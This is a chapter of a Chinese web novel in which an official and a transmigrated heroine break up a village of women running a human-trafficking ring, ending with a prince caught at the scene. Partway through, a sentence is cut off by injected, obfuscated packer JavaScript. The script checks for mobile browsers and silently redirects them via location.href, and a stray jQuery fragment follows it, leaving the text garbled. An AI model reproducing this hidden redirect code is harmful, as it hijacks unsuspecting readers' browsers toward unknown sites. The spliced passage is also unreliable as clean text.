12. 奇怪的村子(四)

作品:《或许,你有委托找我吗?

    夏渝盯着小双的大眼睛,咽了咽口水,憋不出一句话。


    她没想到,看似最无害的小双,或许才是藏在幕后最深的。


    “大公子,我们好像漏了一个人。”


    夏渝传递的消息让谢怀玉奔跑的脚步一顿,看向手中不曾挣扎过的人。


    双姐儿见人停下脚步,扬起一张笑脸回望过去,声音甜腻中带着兴奋。


    “呀!你不会发现了吧!少卿?”


    谢怀玉低骂一声,带着人飞速跑向村外与顾景深汇合。


    房间内,小双见人不说话,眨巴了下眼睛,拿出口袋中黏在一起的桂花糖,双手捧上递给夏渝。


    “姐姐,吃吗?”


    吃不吃呢?


    夏渝拿不准,僵硬的笑笑,还是将糖推了回去。


    “姐姐不能吃糖,夫君说吃了糖不生男孩,已许久不曾尝过甜味。”


    将锅甩给谢怀玉总是没错。


    “哦~”


    小双意味不明的笑了笑,拉长了音调,调侃起来。


    “不愧是会把自家娘子挂上通缉令的人,总是有些奇怪的想法,姐姐你容貌这般出众,为何要委身于一位平平无奇的大理寺少卿呢?”


    平平无奇?


    多少捕贼官努力了一辈子都够不上这个位置,在小双口中仅仅是平平无奇。


    莫非其背后的势力……


    夏渝不敢再深想,满脑子都是如何摆脱、如何拿下这位平平无奇的‘孩童’。


    谢怀玉通过小房间了解到所有情报,一个着急将双姐儿朝顾景深甩了过去。


    双姐儿在半空中挣扎了两下,一落地便破口大骂。


    “好啊,你个破少卿!我要上皇城告你虐待嫌疑犯!”


    顾景深一手刀将人打晕,示意谢怀玉不用理这个疯婆子,随后将人丢给衙役看管,自己带着一队人追了过去。


    *


    又是在深夜,又是在熟悉的抓人环节,夏渝身边围绕着动作有些僵硬的娘子们,脖子被人威胁着掐住。


    “少卿?”


    掐住她脖子的娘子疑惑道,动作愈发用力。


    “原来是大理寺少卿之妻,大家瞅瞅,长得多水灵,想必是功夫了得、满腹经纶,我说今日如何有人挑了最不老实的一个,合着你们是一伙的!”


    “等……”


    夏渝被掐得满面通红,握住那娘子的手腕用力往外扯,试图留出呼吸的空间。


    那娘子手劲大得很,见人敢反抗,动作从一开始的只用力变为一松一紧,随后将人一把从凳子上扯下按在地上,扬起手掌就想打下来。


    “大娘子。”


    小双本来在一旁淡淡看着,见状出声拦了下来。


    “打坏了,可就不好卖钱了。”


    大娘子手一顿,在夏渝细嫩的脸庞上摸了摸,脸上的表情由愤怒转变为喜悦。


    “说的也是,那位官人最爱这等细嫩货,若是让他知晓,你还是大理寺少卿之妻,想必是能替我们解决这次麻烦。”


    她掐着夏渝的手也完全松了下来,安抚似的在脖子上摸了摸,摆摆手示意身旁的娘子,拿出上等的膏药来。


    “有掐痕可谈不上好价钱,来,我替你上药。”


    人多势众,夏渝一人在贼窝中,只有挨打的份。


    默默仰起头,任由大娘子上药。


    周围的娘子或站或坐,以小双为中心,分散在整个房间内。


    被打开的地道也被娘子们又重新合上,并在外面贴上几张封条,待事情结束后再来填埋。


    “夏大人!你那里情况怎么样?”


    听着谢怀玉焦急的声音,夏渝无奈的合上眼,还有心思对比大娘子与那该死的委托人手劲的大小。


    “暂时还活着,但你再不来我就要死了。”


    其实一直这般生活,还不如死了算了。


    夏渝心想。


    原本以为穿书成烧火丫鬟是人生的另一场开端,拿到受托系统更是天命之子降临,哪曾想这一天天不是被威胁就是被人掐着脖子威胁。


    夏渝多少感觉自己有些麻木。


    怎么就稀里糊涂到这一步了?


    “你躲进小房间!其他的事由我解决。”


    谢怀玉头一回体会到了什么叫心急如焚,之前他与夏渝说非必要不依靠外来能力。


    夏渝真就次次硬扛,不死到临头,都不躲进小房间。


    “行。”


    夏渝觉得自己有点出气多进气少,是时候保命了,眼睛一闭就躺回了小房间的床上。


    这边一个眨眼,人就在众娘子手里消失不见,一个个见了鬼似的惊叹起来。


    “人呢?这个房间里还有同伙!”


    小双在夏渝消失的瞬间就飞奔了过来,这边摸摸,那边敲敲,神色凝重到令众娘子下意识胆颤。


    “呵。”


    明明是孩童模样,语气和作风都有着深入官场十几年的老练。


    小双摆了摆手示意众娘子四处逃命。


    “好了,诸位娘子不用在此等候,带上金银细软,各自逃命吧。”


    “啊?”


    众娘子闻言却不多说什么,纷纷回屋取值钱的宝贝,更有甚者想将看上的男人带走。


    “若是想活命,就将男人都留下。”


    小双见状也不阻止,只是淡声提醒,给娘子们自由选择的空间。


    小双提醒的很及时,谢怀玉的动作也愈发迅速,不等众娘子从房间出来,他已来到小双面前,将剑架在他的脖子上。


    “私自囚禁百姓,贩卖百姓,召集反叛贼集会,袭击衙役,小双,你该当何罪!”


    小双老老实实举起双手,脖子试探的蹭上他的剑,见人将剑移走,猖狂大笑起来。


    “哎哟喂,这不是我们大公无私,明辨是非的大理寺少卿吗?大驾光临我安魂村有失远迎,真是惭愧。”


    谢怀玉将剑抵了抵,随手在他肩膀上一划。


    刹时间,鲜血直流,小双受痛却展眉,望着谢怀玉的眼中满是挑衅。


    “怎么?不敢杀我,是怕我死了,找不到这幕后主使,还是怕我死了,再也见不到你家娘子?”


    “当年杭州城一别,你这大理寺少卿是越发嚣张,越发愚蠢了。”


    都道反派死于话多,现在看来正派能听他讲完话,也是有点毛病。


    夏渝在小房间内听着他挑衅的话,缓了缓劲,翻了个白眼,咳嗽两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888299|192113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声让谢怀玉赶紧抓人。


    收拾好行李的娘子们一出门,就被顾景深带来的衙役们堵了个正着。


    她们可不老实,见事情败露,一个个撕破脸皮,打算与衙役们战个你死我活。


    舞刀的、动枪的、用剑的、甩鞭子的,各个武功不低,抬脚便朝谢怀玉冲来。


    “若想带走老大,须先取我性命!”


    大娘子持枪直刺而来,与顾景深剑枪相交,电光火石间一阵刺耳的响声直钻入脑海。


    顾景深皱了皱眉头,望向大娘子手中材质不一般的红缨枪,抬手将剑扔了出去,随后从腰间取出一把软剑,一刺不成,紧跟二刺。


    双剑在手,身法鬼魅如影,逼得大娘子节节败退,却不曾将剑与她的枪相交。


    大娘子恼怒,在地上狠狠一划,带起一阵火花。


    火花点燃了红缨枪上布制的红缨,一阵火光亮起,带着滚烫的热焰,连甩三圈,将枪丢掷出门外。


    轰隆一声巨响,一阵爆炸声传来,门外一股热浪席卷而来,带着重重火影。


    一时间衙役们、娘子们,顾不上交手,纷纷施展轻功躲避。


    谢怀玉趁机提着小双的胳膊将人束缚住,顾景深则一剑刺入大娘子肩膀,手臂稍微一用力,将人提起往半空中扔。


    *


    安魂村外,前来支援的守城军已将整个村子围了起来。


    以青木为首的衙役则退至一旁,看守着已被捕的嫌疑人,观察着四周的风吹草动。


    漆黑的夜里,点点繁星点缀着前行的道路,一辆低调又奢华的马车缓缓驶出京城大门,往安魂村而来。


    平坦笔直的官道上,清脆踢踏的马蹄声打破了寂静的夜,车夫见路被人拦住,下意识恐吓起来。


    “前面何人?识相的赶紧让开!不然小心我家主人将你家抄了!”


    青木板着一张脸,愣愣看着他,就立在路中间一动不动。


    车夫晦气地啐了一口,骂骂咧咧的拿着鞭子下了马车,走上前去狠狠甩了一鞭。


    “谁家傻子大半夜没关好放出来了!”


    鞭子被人牢牢握住,一个用力将车夫扯至身前,一脚踹飞。


    青木将鞭子收起,走到马车前,将车帘一把拉开,露出里面面容精致的男人。


    男人依旧闭着眼假寐,感受到一阵微风袭来,不急不躁开口道。


    “若是山匪,拿了钱便走,本王一向乐善好施,不会对流民如何。”


    “若是官家,睁开你的狗眼,看看本王是谁!敢拦住本王的去路,知不知道萧字怎么写?再不走,本王罢了你的官!”


    青木依旧不说话,默默将鞭子抻了抻,对着男人的胳膊用力一甩。


    “嗷!”


    男人被剧痛侵袭,倒也识趣的默默爬下马车,眼神恶狠狠的盯着青木,记住了他的长相。


    青木翻了个白眼,将男人跟嫌疑犯们关在一处。


    看见满地的熟人,男人才明白,自己这回玩大了。


    “哟,这位不是大名鼎鼎的城南王吗?怎的与这些嫌疑人关在一处?”


    谢怀玉皮笑肉不笑地出现在男人眼前。


    “莫非你就是这安魂村的幕后主使?”